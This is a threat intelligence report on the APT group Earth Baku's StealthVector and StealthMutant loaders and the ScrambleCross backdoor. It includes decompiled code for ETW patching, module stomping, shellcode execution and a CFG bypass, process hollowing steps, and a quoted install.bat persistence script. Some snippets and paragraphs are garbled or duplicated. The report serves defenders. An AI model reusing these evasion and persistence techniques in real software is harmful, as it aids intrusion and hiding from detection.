Earth Baku
An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor

Hara Hiroaki and Ted Lee
TREND MICRO LEGAL DISCLAIMER

The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice.

Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes.

Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an “as is” condition.

Published by
Trend Micro Research

Written by
Hara Hiroaki
Ted Lee

Stock image used under license from Shutterstock.com
Cyberespionage has become a more prevalent threat in today's security landscape, putting private enterprises and public agencies alike at risk of major upsets to their operations. This research paper covers the technical details of a new cyberespionage campaign that we believe can be traced back to the notorious advanced persistent threat (APT) group Earth Baku. In this campaign, Earth Baku's attacks have been leveled against companies in various countries in the Indo-Pacific region.

Trend Micro has previously covered the various methodologies employed by this APT group, which also operates under the alias APT41. Its exploits have been well documented; the group has garnered a reputation for its use of advanced, self-developed tools. In fact, Earth Baku has been associated with a slew of cybercrimes such as watering hole attacks and spear phishing attacks. Its previous targets include companies in the pharmaceutical and telecommunications industries.

Earth Baku has yet again updated its arsenal, as evidenced by the latest additions of two shellcode loaders, which we have named StealthVector and StealthMutant, and a modular Windows backdoor, which we have dubbed ScrambleCross. Our in-depth analysis of these newfound malware tools revealed that they have easily customizable features and are distributed through different attack vectors, making it convenient for malicious actors to tailor them to specific victims.

This report aims to shed light on the sophisticated toolset involved in this new campaign, although Earth Baku's motives behind the development of the shellcode loaders and backdoor are not entirely clear. While these have been probably used as part of state-backed attacks to collect competitive intelligence, the inner workings of Earth Baku itself remain unknown. It is likely that the group is composed of threat actors who collaborate by sharing tools with diverse attack infrastructures, but their use of the new shellcode loaders and backdoor suggests that they have recruited members with specific areas of expertise.
Background

Late last year, we discovered a new shellcode loader designed to execute an arbitrary shellcode with a stealth mode feature. Since then, we have found multiple variants of this loader, which we have named StealthVector, and, in addition, a shellcode loader written in C#, which we have named StealthMutant. These shellcode loaders have two different payloads: the Cobalt Strike beacon and a newly found modular backdoor, which we have dubbed ScrambleCross.

Based on their indicators, we have concluded that the threat actors behind this campaign are linked to Earth Baku, an APT group that also goes by the name APT41. Earth Baku, a cyberespionage and cybercriminal group, was charged by the US Department of Justice in August 2020 with computer intrusion offenses related to data theft, ransomware, and cryptocurrency mining attacks.5

Earth Baku’s new campaign, which has been active since at least July 2020, is related to a previous one reported by Positive Technologies6 and FireEye,7 which had used a different shellcode loader, which we had named LavagokLdr, as shown in Figure 1. However, since the group has fully updated its toolset, we recognize this attack as an entirely new campaign.

Figure 1. A timeline of Earth Baku’s use of LavagokLdr in its previous campaign and of StealthMutant, StealthVector, and ScrambleCross in its new campaign
This campaign affects some Indo-Pacific countries, including India, Indonesia, Malaysia, the Philippines, Taiwan, and Vietnam, as illustrated in Figure 2. It targets both enterprises and government entities, including organizations in the airline, computer hardware, automotive, infrastructure, publishing, media, and IT industries. From a geopolitical point of view, many of the countries affected by this recent campaign overlap with those reported in the aforementioned indictment of Earth Baku by the US.

Figure 2. The countries affected by the Earth Baku campaign, all in the Indo-Pacific region

Source: Trend Micro™ Smart Protection Network™ infrastructure
Attack Vectors

We have observed that Earth Baku has been using multiple attack vectors for this campaign.

Exploitation Against a Web Application

Upon studying one of the incident responses from the campaign, we found that Earth Baku performed an SQL injection attack on the victim’s web application to gain a foothold in the network, as depicted in Figure 3.

Figure 3. Earth Baku’s attack chain using SQL injection as the attack vector
Based on the Visual Basic Script (VBS) scripts used in this attack (Figure 4), we believe that the actors used sqlmap, a Python-based SQL penetration testing tool, to upload a malicious file (Figure 5).

```vbs
Dim inputPath, outputPath
inputPath = "C:\Users\Public\Install.bat"
outputPath = "C:\\Users\\Public\\Install.dat"
Set fs = CreateObject(\"Scripting.FileSystemObject\")
Set file = fs.GetFile(inputPath)
If file.Size Then
    WScript.Echo
    Set fd = fs.OpenTextFile(inputPath, 1)
    data = fd.ReadAll
    fd.Close
    data = Replace(data, ",", ",")
    data = Replace(data, vbCrLf, ")")
    WScript.Echo "Fixed input:"
    WScript.Echo data
    WScript.Echo decodedData = base64_decode(data)
    WScript.Echo "Output:"
    WScript.Echo decodedData

Else
    WScript.Echo "The file is empty."
End If
```

Figure 4. The VBS file that is dropped in a victim’s machine

```vbs
Sub _stagedWriteFile(ByVal self, trgPath, localFileContent, remoteFile, fileType)
    InfoMsg = "using a custom visual basic script to write the "
    InfoMsg &= "%s file content to file " & remoteFile
    logger.info(InfoMsg)
    randomVbs = "\"VBS\".vbs" \"random\"(toLowerCase=True)
    randomFile = \"\"tmp\".txt\" \"random\"(toLowerCase=True)
    randomFilePath = \"\"\"tmp\"\"\" randomFile
    vbs = \"\"\"\"\"Dim inputFilePath, outputFilePath\"
    inputFilePath = \"%s\"\n    outputFilePath = \"%s\"
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set file = fs.GetFile(inputFilePath)
    If file.Size Then
        WScript.Echo "Loading from: " & inputFilePath
        WScript.Echo
        Set fd = fs.OpenTextFile(inputFilePath, 1)
        data = fd.ReadAll
        fd.Close
        data = Replace(data, ",", ",")
        data = Replace(data, vbCrLf, ")")
        WScript.Echo "Fixed input:"
        WScript.Echo data
        WScript.Echo decodedData = base64_decode(data)
        WScript.Echo "Output:"
        WScript.Echo decodedData
        WScript.Echo WScript.Echo "Writing output in: " & outputFilePath
        WScript.Echo
        Set of = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True)
        ofWrite decodedData
        of.close
        File
        WScript.Echo "The file is empty."
    End If
```

Figure 5. The script in sqlmap
This dropper decodes a specified Base64-encoded file, and then drops it in a specified file path. In such an attack, the malware creates `install.bat`, which installs StealthVector as a Windows service (Figure 6).

Exploitation of a Microsoft Exchange Server Vulnerability

Another method involves a China Chopper web shell that is uploaded to Microsoft Exchange Server by exploiting the ProxyLogon vulnerability CVE-2021-26855. We also detected StealthVector on Microsoft Exchange Server, from which we inferred that Earth Baku likely deployed China Chopper using the ProxyLogon exploit, and then uploaded StealthVector using a web shell (Figure 7). This was not the first time that Earth Baku had capitalized on the ProxyLogon exploit in its operations, as this was also reported by ESET in March 2021. We believe that the group’s usage of this exploit is likely to continue unless enterprises address this flaw by updating their systems with the released patch.

![Figure 7. Earth Baku's attack chain using exploitation of the ProxyLogon vulnerability as the attack vector](image-url)
Possible Email Vector

Upon further investigation on VirusTotal, we discovered that it is possible that the same threat actors have attempted to distribute StealthVector through LNK (link) files sent as email attachments (Figure 8).

Figure 8. Earth Baku’s attack chain possibly using an LNK file as the attack vector

The LNK file renames CertUtil.exe, a legitimate Microsoft command-line tool, and uses the renamed tool to download both a decoy document and StealthVector (Figure 9). However, we have never seen this type of infection vector in the wild.

![Figure 9. The LNK file renaming CertUtil.exe](image)

InstallUtil.exe via a Scheduled Task

StealthMutant, for its part, is executed using a different mechanism. Although we are still not certain how an attacker gains access to a system, we have discovered that StealthMutant is executed by InstallUtil.exe through a scheduled task, as illustrated in Figure 10.
The attacker drops the components and adds the InstallUtil command line in a scheduled task. InstallUtil.exe executes StealthMutant in the argument.

The attacker drops the components and adds the InstallUtil command line in a scheduled task. InstallUtil.exe executes StealthMutant in the argument.

InstallUtil.exe is a legitimate installer application under Microsoft’s .NET Framework, but it is also known as a living-off-the-land binary (LOLBin) that is used in the proxy execution of .NET Framework programs. In a scheduled task, InstallUtil.exe is registered to run StealthMutant, as demonstrated in Figure 11.

InstallUtil.exe is a legitimate installer application under Microsoft’s .NET Framework, but it is also known as a living-off-the-land binary (LOLBin) that is used in the proxy execution of .NET Framework programs. In a scheduled task, InstallUtil.exe is registered to run StealthMutant, as demonstrated in Figure 11.

Figure 10. The execution of StealthMutant through InstallUtil.exe

Figure 10. The execution of StealthMutant through InstallUtil.exe

Figure 11. InstallUtil.exe being registered to run StealthMutant via a scheduled task

Figure 11. InstallUtil.exe being registered to run StealthMutant via a scheduled task
Technical Analysis of the Loaders

Earth Baku’s new campaign takes advantage of the various capabilities of two shellcode loaders, StealthMutant and StealthVector.

**StealthMutant**

StealthMutant is an evasive shellcode loader written in C# that has been in use since at least July 2020. It reads a file that is encrypted by AES-256-ECB, decrypts the file in memory, injects its malicious payload into a remote process, and then executes it. We have observed that its payload has been either the Cobalt Strike beacon or the ScrambleCross backdoor. Most of the StealthMutant samples we have come across are obfuscated by ConfuserEx, an open-source obfuscator for .NET Framework applications. After deobfuscating these samples, we have observed raw namespaces and classes that describe their purpose (Figure 12).

![Figure 12. The namespaces and classes from the deobfuscated samples](image)
All the strings in StealthMutant are encrypted with the encryption algorithm AES-256-ECB and are decrypted on the spot, as shown in Figure 13. The decrypted strings are as follows:

1. The MagicString class provides a getter property, which decrypts strings on access.

2. The MagicString class has an encrypted string field.

3. The MagicString class provides __Decrypt, a wrapper method for decryption.

4. If it is StealthMutant’s first time to use the __Decrypt method, the AES (Advanced Encryption Standard) key and initialization vector (IV) will be initialized based on the hard-coded __factory value, although this IV is meaningless in Electronic Code Block (ECB) mode. The key is the SHA-256 hash, while the IV is the MD5 hash. The values of the SHA-256 and MD5 hashes vary with each StealthMutant sample.

5. The __Decrypt method calls the Crypto.DecryptData method.

6. The Crypto.DecryptData method decrypts the given data by the hard-coded mode or, in this case, the ECB mode.

![Figure 13. The decrypted StealthMutant strings](image)

The main purpose of StealthMutant is to execute the second stage of the shellcode under stealth mode. To this end, StealthMutant patches the EtwEventWrite function’s API to disable Event Tracing for Windows (ETW), making it invisible to Windows’ built-in logging system.

StealthMutant appears to support both 32-bit and 64-bit architectures. In the DoPatch method, StealthMutant determines the architecture dynamically, as demonstrated in Figure 14. If it is running on a 32-bit operating system, StealthMutant patches the system with “C2 14 00 (ret 0x14)”, whereas it patches a 64-bit system with “48 31 C0 C3 (xor rax, rax; ret)”. 
The file names of the encrypted payload are hard-coded, but these differ with each StealthMutant sample. The file name string is also encrypted using AES-256-ECB. If the target encrypted file exists in a current running directory, StealthMutant reads and decrypts it in memory.

Most of the StealthMutant samples use AES-256-ECB for decryption (Figure 15), but the earlier versions of the malware used XOR for decryption (Figure 16). However, we have not spotted these previous iterations of StealthMutant since July 2020.
The StealthMutant variants that use AES-256-ECB and XOR share the same decryption steps. The StealthMutant samples that use AES have an encrypted file containing junk bytes, the signature, the seed for the key, the seed for the IV, and the encrypted payload body. The sizes of the junk bytes, the seed for the key, and the seed for the IV vary among the samples. The decryption algorithm of one such StealthMutant sample (Figure 17), which has a junk bytes size of 128, a key seed size of 12, and an IV seed size of 12, is as follows:

1. Calculate the MD5 hash of the encrypted payload body. The body is composed of the key seed, the IV seed, and the encrypted payload.
2. Compare the MD5 hash with the signature in the encrypted file to check its integrity.
3. Copy the specified size of bytes following the signature, and then calculate the SHA-256 hash for the AES key.
4. Copy the specified size of bytes following the seed for the key, and then calculate the MD5 hash for AES IV. However, this is meaningless in ECB mode.
5. Decrypt the rest of the bytes using AES-256-ECB with the generated SHA-256 key.
6. Compare the specified size of bytes at the top of the decrypted bytes with that of the hard-coded bytes, which can be found in the Protocol.Flag field.
7. If StealthMutant passes all these verifications, read the specified size of the payload.
After the decryption of its payload, StealthMutant executes this shellcode payload in a remote process by using the process hollowing technique. As shown in Figure 18, StealthMutant performs process hollowing through the following steps:

1. It creates a specified process, which is hard-coded in binary, in suspended mode.
2. It creates a new section, maps a view of it in the local process by using NtCreateSection and ZwMapViewOfSection, and copies the decrypted shellcode onto this section.
3. It maps the section to the remote process, which also results in mapping of the shellcode in the remote process.
4. It looks for the entry point of the remote suspended process and patches it to change the execution flow into the entry of the mapped payload.
5. Finally, it resumes the main thread of the suspended process and executes the payload.
Figure 18. StealthMutant performing process hollowing to execute its payload

This technique is widely used as a red-team tool in C#. Based on its code, we assume that the author of StealthMutant possibly reused an open-source process hollowing implementation from GitHub.11

StealthVector

In October 2020, we discovered StealthVector, an evasive shellcode loader written in C/C++. This malware implements various evasion techniques and is still actively being developed. We have observed that its payload is either the Cobalt Strike beacon or the malware ScrambleCross. (The Japanese security service company LAC previously published a blog post discussing the Cobalt Strike beacon.12)

StealthVector is designed to execute the second stage of the payload in stealth mode. This means that its evasive techniques can be enabled and disabled by its embedded configuration. Because of this, malicious actors can easily customize this loader for their targets. The configuration of StealthVector (Figure 19) is embedded in its data section with ChaCha20 encryption, which is decrypted upon initialization (Figure 20). This ChaCha20 routine notably uses a fixed custom value of 0x13 for the initial counter (Figure 21).

```c
if ( (g_enc_config_size - 1) > 0x64
    || g_crc32_enc_config != (api->RtlComputeRc32)(0164, g_enc_config, g_enc_config_size) )
{
    return v35;
}
do_chacha20(g_chacha20_key, v0, g_nonce_for_config, g_enc_config, g_enc_config, g_enc_config_size);
```

Figure 19. The configuration of StealthVector
Figure 20. The locations of StealthVector’s encrypted configuration and ChaCha20 key information

Figure 21. The fixed custom value used in the ChaCha20 routine
According to RFC7539, the Internet Engineering Task Force (IETF) specification for the ChaCha20 stream cipher and the Poly1305 authenticator,\textsuperscript{13} the ChaCha20 algorithm uses a 32-bit initial counter. This counter can be any number but is usually 0 or 1. As far as we have observed, StealthVector always uses 0x13 for its initial counter, which is an uncommon practice. This makes it difficult to decrypt the malware’s configuration using common methods such as the Python library \texttt{pycryptodome}, which does not support custom initial counters.

The decrypted configuration data is copied onto a newly allocated buffer, which determines its behavior. There are two types of configurations found in the wild. One is for a local shellcode runner, which has a size of 0x38. This type of configuration has fields for checksum, flags for context awareness, flags for evasive features, and information for the payload (Figure 22 and Figure 23).

![Figure 22. The configuration that loads the encrypted payload from StealthVector’s own binary](image)

![Figure 23. The configuration that loads the encrypted payload from a defined file path](image)

The other is for a remote shellcode injector, which has a size of 0x44. This type of configuration has fields for checksum, flags for context awareness, flags for evasive features, information for injection, and information for the payload (Figure 24 and Figure 25).
Configurable Features

StealthVector has various configurable features that enable malicious actors to easily modify its behavior. We believe this design is meant to keep malware development simple, as the actors will not need to change its source code in order to implement these features. We discuss these features in the succeeding subsections.

Disabling Event Tracing for Windows

StealthVector can disable ETW to cover its tracks, as shown in Figure 26.

```c
if ( g_config->disable_etw )
{
    bytes_to_patch = 0x3C3B3148;  // xor rax, rax + ret
    h_ntdll = GetModuleHandleW("ntdll");
    EtwEventWrite = GetProcAddress( h_ntdll, "EtwEventWrite" );
    EtwEventWrite_ptr = EtwEventWrite;
    If ( EtwEventWrite )
    {
        LOCKORD(old_protection) = 0;
        (api->VirtualProtect)(EtwEventWrite_ptr, 4u64, PAGE_EXECUTE_READWRITE, &old_protection);
        memmove(EtwEventWrite_ptr, &bytes_to_patch, 4u64);
        api->VirtualProtect(EtwEventWrite_ptr, 4u64, old_protection, &old_protection);
    }
}
```

Figure 26. StealthVector configured to disable ETW
Context Awareness

A common feature of other malware, such as mutual exclusion object (mutex) checking or username checking for context awareness, can also be configured into StealthVector, as shown in Figure 27.

```c
if ( lg_config->enable_username_check 
    && (memset(username, 0, sizeof(username)), 
        setUserNameA(username, &pcbBuffer), 
        lsstricmp(username, "system") ) )
{
    if ( g_config->enable_mutex_check )
    {
        MutexAttributes.dwLength = 24;
        MutexAttributes.dwSecurityDescriptor = 0i64;
        MutexAttributes.bInheritHandle = 0i64;
        InitializeSecurityDescriptor(&pSecurityDescriptor, 1);
        SetSecurityDescriptorDacl(pSecurityDescriptor, 1i64, 0);
        MutexAttributes.lpSecurityDescriptor = pSecurityDescriptor;
        g_mutex = CreateMutexA(&MutexAttributes, 1, "global\krzmdrf010\x5f42nzyv89m67x60\ino");
        err = GetLastError();
        if ( err == 183 || err == 5 )
        {
            if ( lg_mutex )
                return 0i64;
            CloseHandle(g_mutex);
            mutex = 0i64;
            g_mutex = 0i64;
            goto LABEL_17;
        }
        if ( lg_mutex )
            return 0i64;
    }
}
```

Figure 27. StealthVector configured for context awareness

Logic to Determine Payload Location

StealthVector decrypts and executes its payload in memory, but it can also be configured to load its encrypted payload in a specific location. Some variants embed the payload in its binary, while others load it to another file in the same directory, whose file name is specified in the malware’s configuration (Figure 28). The decryption logic is the same for all variants of StealthVector: It reads the specific size of data from a specific offset. The values for the offset and the size of the encrypted payload are already defined in the malware’s configuration. Afterward, the payload will be decrypted by ChaCha20. This same routine is used in decrypting StealthVector’s configuration, but the nonce for its payload is already defined in the configuration (Figure 29).

```c
mutex=CreateMutexA(NULL, TRUE, "encrypted_filename") ;
if ( g_config->load_from_dll )
    {
        mutex=CreateMutexA(NULL, TRUE, "dll\encrypted_filename") ;
    }
else 
    {
        mutex=CreateMutexA(NULL, TRUE, "encrypted_filename") ;
    }
```

Figure 28. A StealthVector variant that embeds its encrypted payload into a specific file
Figure 29. Stealthvector’s decryption logic
**Self-Uninstallation**

StealthVector can also uninstall itself based on its configuration, as shown in Figure 30.

```c
if ( g_config->enable_uninstall )
    uninstall();
```

![Figure 30. StealthVector's uninstall configuration](image)

**Shellcode Execution Techniques**

StealthVector implements various shellcode execution techniques. We discuss these techniques in the succeeding subsections.

**Execution Using CreateThread**

The simplest way for StealthVector to execute its shellcode payload is by using the `CreateThread` function, as shown in Figure 31.

```c
if ( decrypt_payload(&dec_buffer, &size) )
{
    size_of_payload = size;
    payload = (void*)VirtualAlloc(0x164, size, 12288164, 64164);
    payload_l = payload;
    if ( payload )
    {
        memcpy(payload, dec_buffer, size_of_payload);
        hThread = CreateThread(0x164, 0x164, payload_l, 0x164, 0, 0x164);
    }
```

![Figure 31. Execution of the shellcode using CreateThread](image)

**Module Stomping in Local Process**

Some variants of StealthVector implement an evasive technique called module stomping, which is designed to bypass the detection of reflective loading. Module stomping is well known because Cobalt Strike has implemented this feature in its version 3.11. In the case of StealthVector, however, the injected payload is a shellcode instead of a dynamic link library (DLL). To perform this technique, StealthVector looks for a legitimate DLL that has sufficient space for its payload, “(payload_size + 2048)”, as shown in Figure 32.
Once it finds one that meets its space requirement, StealthVector loads that DLL using the `LoadLibraryExW` function, with the flag `DONT.Resolve_DLL_REFERENCES`. As shown in Figure 33, when this flag is enabled, the system does not call the `DllMain` of the target DLL upon loading.

```c
if ( find_target_dll(payload_size, target_dllname, &offset_to_inject) )
{
  memset(&system32_dir, 0, 0x200u164);
  GetSystemDirectoryW(&system32_dir, 0x104u);
  PathAppend(&system32_dir, target_dllname);
  wcscpy_s(libfilename, 0x104u164, &system32_dir);
  module_base_addr = LoadLibraryExW(libfilename, 0164, DONT.Resolve_DLL_REFERENCES);
  if ( module_base_addr )
  {
    v15 = module_base_addr + offset_to_inject;
    v20 = 0;
    (p_imports->kernel32.VirtualProtect)(v15, payload_size, PAGE_EXECUTE_READWRITE, &v20);
    memmove(v15, src, payload_size);
    *(short*) = v15;
    v6 = -1;
  }
}
```

Figure 33. StealthVector enabling `DONT.Resolve_DLL_REFERENCES` after finding its target DLL
Once it loads the target DLL, StealthVector changes the protection settings of the DLL using read, write, and execute (RWX) permissions. It then copies its payload onto the legitimate DLL and executes the payload through the `CreateThread` function, as illustrated in Figure 34.

![Figure 34. StealthVector's process of overwriting the target DLL with its malicious payload](image)

**Bypassing Control Flow Guard**

As shown in Figure 35, some variants of StealthVector run their shellcode by bypassing Microsoft’s Control Flow Guard (CFG), an exploit mitigation technology. CFG makes it difficult for malware to run code on Windows operating systems by restricting indirect calls to an unapproved address. In this case, StealthVector executes its shellcode using `CreateThread`, which checks the target address.

In order to sidestep attempts to verify its indirect call, StealthVector will then patch the `LdrpHandleInvalidUserCallTarget` API in `ntdll.dll` with “48 FF E0 CC 90 (jmp rax; int3; nop)”, as shown in Figure 36. `LdrpHandleInvalidUserCallTarget` is called when CFG, through the `LdrpValidateUserCallTarget` function, determines that the target address is invalid. StealthVector can patch this API without crashing the application.
Some variants of StealthVector can also inject their shellcode payload into a remote process using phantom DLL hollowing, a technique that is a combination of process hollowing and module stomping (Figure 37). To do this, StealthVector spawns a new process, which is specified in its configuration, in suspended mode. StealthVector uses the NtCreateSection and ZwMapViewOfSection APIs to load a legitimate DLL into this newly created process. The logic of finding its target DLL is the same as that in module stomping: It checks if the code section, or (.text section size), is large enough. Afterward, it overwrites the code section of the loaded DLL with its own payload and executes it in the DLL's memory space. It then patches the entry point of the legitimate process in order to modify the shellcode's execution flow to this entry point in the DLL. Using this method, malicious actors can hide StealthVector's payload within the memory space of an image, which often goes unnoticed by common memory scan engines, and execute it like a normal module.
Figure 37. StealthVector performing phantom DLL hollowing
Technical Analysis of the Payloads

Our analysis has revealed that StealthMutant and StealthVector can contain two different payloads. One is the Cobalt Strike beacon and the other is the newly found malware ScrambleCross.

Cobalt Strike Beacon

Among most of the samples we have come across, there are two types of Cobalt Strike beacons: a hybrid HTTP DNS (Domain Name System) and HTTPS. Interestingly, all the Cobalt Strike beacons in memory are in a Portable Executable (PE) file format with a characteristic header, as shown in Figure 38. While it appears as a valid MZ header, it can also be executed as machine code.

![Figure 38. The Cobalt Strike beacon in a PE file format](image)
This assembly, much like a PE header, calculates the address of a specific function, which serves as the entry point for the reflective loader to dynamically initialize and execute a DLL. It should also be noted that some of the samples have PE files with broken headers, although they still operate in the same way (Figure 39).

The Cobalt Strike beacons in the samples we have uncovered bear similarities to those used in attacks carried out by the Chimera APT group, as reported by Cycraft. However, it remains uncertain whether this campaign can definitively be linked to Chimera, as many similar Cobalt Strike beacons and Meterpreter shellcodes can also be found on VirusTotal (Figure 40).

The Cobalt Strike beacon found in the StealthMutant and StealthVector samples has two types of watermarks. One is “305419896”, which is that of a cracked version, and is widely used by a variety of other malicious actors, according to research conducted by VMware Carbon Black. The other watermark is “426352781”, which has been in use since at least May 2021 but has never been attributed to malicious actors before.
ScrambleCross, or a Refactored Crosswalk

During our analysis, we found a never-before-seen shellcode as a payload of StealthMutant and StealthVector. Upon closer study, we learned that this payload uses similar techniques to those of the Crosswalk backdoor. A modularized shellcode-based backdoor that is known to be used by Earth Baku, Crosswalk can execute additional shellcodes on memory as a plug-in. According to an indictment by the US Department of Justice,\(^1\) Crosswalk was also used by members of Chengdu 404 Network Technology, a network security business. The similarities between Crosswalk and ScrambleCross indicate that the actual entity behind this campaign could be or is linked to members of Chengdu 404 Network Technology.

Following our analysis, we have concluded that this unknown payload is a new version, or rather a fully refactored version, of Crosswalk. It still has many of the same capabilities as Crosswalk, but these are implemented differently. Considering this, we have named this new backdoor ScrambleCross to distinguish it from its predecessor.

ScrambleCross shares the following features with Crosswalk:

- It is designed as fully position-independent code.
- It has encrypted code, data, and configuration.
- It calculates the hash of the code section as an anti-debugging technique.
- It supports multiple types of network communication protocols.
- It uses message queues to asynchronously receive commands from worker threads.

Crosswalk’s capabilities have been documented at length by the likes of Positive Technologies, ZScaler,\(^8\) and VMware Carbon Black.\(^9\) But there are some key differences between this backdoor and ScrambleCross. Much like Crosswalk, ScrambleCross also embeds encrypted code in itself, but it uses a slightly different encryption algorithm to do so. To decode its functions and global values, including imports or strings, ScrambleCross uses a 16-byte XOR, as shown in Figure 41.
However, for its network configuration, ScrambleCross uses ChaCha20 for decryption instead of XOR (Figure 42). The encrypted network configuration is embedded at offset 0x1028 from the top of the configuration.
Like StealthVector, ScrambleCross uses a fixed value of 0xB for its initial counter. The ChaCha20 routine shown in Figure 43 is used for encryption and decryption.
With regard to its command-and-control (C&C) server communication, Crosswalk supports TCP (Transmission Control Protocol) and HTTP for application layer protocols, and uses AES-128 for transport layer encryption. ScrambleCross similarly supports TCP, HTTP, and HTTPS for application layer protocols, but it instead uses ChaCha20 and a custom message structure for transport layer encryption. Regardless of whether TCP or HTTP protocols are used, both the client request and the C&C server response have the same message structure.

The client request data is compiled in the following nine steps, as illustrated in Figure 44. On the other hand, after deconstructing the server response data, we found that it is compiled in reverse order.

1. Receive a 16-byte challenge from the server, or generate a 16-byte null key instead.
2. Generate a random 16-byte ChaCha20 nonce.
3. Generate a 32-byte ChaCha20 key.
4. Compress the raw request data using the LZ4 compression algorithm.
5. Encrypt the payload chunk with ChaCha20, using the key generated in Step 3. The nonce is the first 12 random bytes generated in Step 2.
6. Calculate the MD5 hash of the victim information. The victim information consists of the globally unique identifier (GUID), botID, and computer name of the victim’s device.
7. Encrypt the header chunk with ChaCha20, using the key embedded in the network configuration. The nonce is the last 12 random bytes generated in Step 2.
8. Calculate the total size of the MD5 hash, which is the sum of 13, the nonce, the encrypted header chunk, and the encrypted payload chunk. Copy the MD5 hash onto the top of the message data.
9. If the message is sent in TCP, add the size of the message data on top of the message data.

![Figure 44. ScrambleCross' compilation of request data](image-url)
ScrambleCross, like Crosswalk, also receives backdoor commands from its C&C server, as shown in Figure 45, but these are very different from those for Crosswalk. In the case of ScrambleCross, the purpose of its backdoor commands is to receive plug-ins from the C&C server and to manipulate these plug-ins, as indicated in Table 1. However, since a backdoor command’s capacity for manipulating plug-ins depends on the specific plug-in it receives, and we have been unable to retrieve any plug-ins from the server, we have yet to determine the full extent of the commands’ plug-in manipulation functions.

![Figure 45. ScrambleCross receiving backdoor commands from its C&C server](image)

<table>
<thead>
<tr>
<th>Command</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0</td>
<td>Do nothing.</td>
</tr>
<tr>
<td>0x64</td>
<td>Run all the loaded plug-in’s entry at offset 0x48, which possibly tries to close sessions in the plug-in and close current sessions.</td>
</tr>
<tr>
<td>0x5C</td>
<td>Update the ChaCha20 key for message encryption and decryption on C&amp;C communication.</td>
</tr>
<tr>
<td>0x66</td>
<td>Change the current status based on the Base64-like string in response.</td>
</tr>
<tr>
<td>0x68</td>
<td>Change the unknown DWORD value.</td>
</tr>
<tr>
<td>0x70</td>
<td>Update the maximum interval period.</td>
</tr>
<tr>
<td>0x74</td>
<td>Possibly uninstall all the plug-ins. Enumerate the loaded plug-ins, run the plug-in’s entry at offset 0x38 if it is already initialized, and then unload the plug-in.</td>
</tr>
<tr>
<td>Command</td>
<td>Action</td>
</tr>
<tr>
<td>---------</td>
<td>--------</td>
</tr>
<tr>
<td>0x78</td>
<td>Find a plug-in by ID and, if it is already initialized, run the plug-in’s entry offset at 0x38. If the plug-in’s entry offset at 0x38 returns false, it will be unloaded.</td>
</tr>
<tr>
<td>0x7C</td>
<td>Possibly initialize a new plug-in. It receives new plug-in data from the C&amp;C server and runs the plug-in’s entry at offset 0x30.</td>
</tr>
<tr>
<td>0x7E</td>
<td>Possibly try to remove a specified server challenge from the server challenge list. Find a plug-in by ID (or if 0xFF is specified, all plug-ins will be targeted) and, if it is already initialized, run the plug-in’s entry offset at 0x50. Afterward, look for the given challenge bytes in the registered challenge list and remove them from the list.</td>
</tr>
<tr>
<td>0x80</td>
<td>Find a plug-in by ID and, if it is already initialized, run the plug-in’s entry offset at 0x38. If the plug-in’s entry offset at 0x38 returns false, the plug-in and related registered server challenge will be unloaded.</td>
</tr>
<tr>
<td>0x82</td>
<td>Enumerate the user information and send it back to the C&amp;C server.</td>
</tr>
<tr>
<td>0x84</td>
<td>Change the unknown DWORD value.</td>
</tr>
<tr>
<td>0x8C</td>
<td>Send the current configuration values to the C&amp;C server.</td>
</tr>
<tr>
<td>0x8E</td>
<td>Load additional configuration from the message and try to save to file.</td>
</tr>
<tr>
<td>None of the above</td>
<td>Enumerate all the loaded plug-ins and run the plug-in’s entry offset at 0x40.</td>
</tr>
</tbody>
</table>

Table 1. A list of backdoor commands for ScrambleCross

Because ScrambleCross supports HTTPS, some variants of this backdoor abuse Cloudflare Workers, a computing platform, to obscure their C&C server activity. Cloudflare Workers can prove to be a powerful and accessible tool for malicious actors for the following reasons:

- **Cloudflare Workers** provides better scalability, making it useful for malicious actors who want to build their C&C infrastructure.

- The malware will not communicate with the C&C server directly, posing a challenge for security analysts to find the actual IP address to block. C&C traffic on Cloudflare Workers makes blocking of ScrambleCross’ C&C server much more difficult because the observed IP address is a Cloudflare IP address rather than that of the actual C&C server.

- The Cloudflare Workers platform is allowed by many security products. Connections to Cloudflare Workers are often considered legitimate and thus will likely be overlooked by network monitoring solutions.
Attribution

As previously mentioned, we have concluded that the threat actors behind this malware are linked to Earth Baku. This attribution is supported by the following key findings.

Use of install.bat

During an incident response, we found the installer script for StealthVector called *install.bat* (Figure 46). This is the same batch file used in a previous cyberespionage campaign carried out by APT41, according to the aforementioned FireEye report (Figure 47).

![install.bat script](image)

Figure 46. The *install.bat* script
in both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 59099b3db4d9023e4098e6636c96a6f).

```bash
@echo off
set "WORK_DIR=C:\Windows\System32"
set "DLL_NAME=storesyncsvc.dll"
set "SERVICE_NAME=StorSyncSvc"
set "DISPLAY_NAME=Storage Sync Service"
set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run correctly."
sc stop %SERVICE_NAME%
sc delete %SERVICE_NAME%
mkdir %WORK_DIR%
copy "%-dp0\%DLL_NAME%" "%WORK_DIR%" /Y
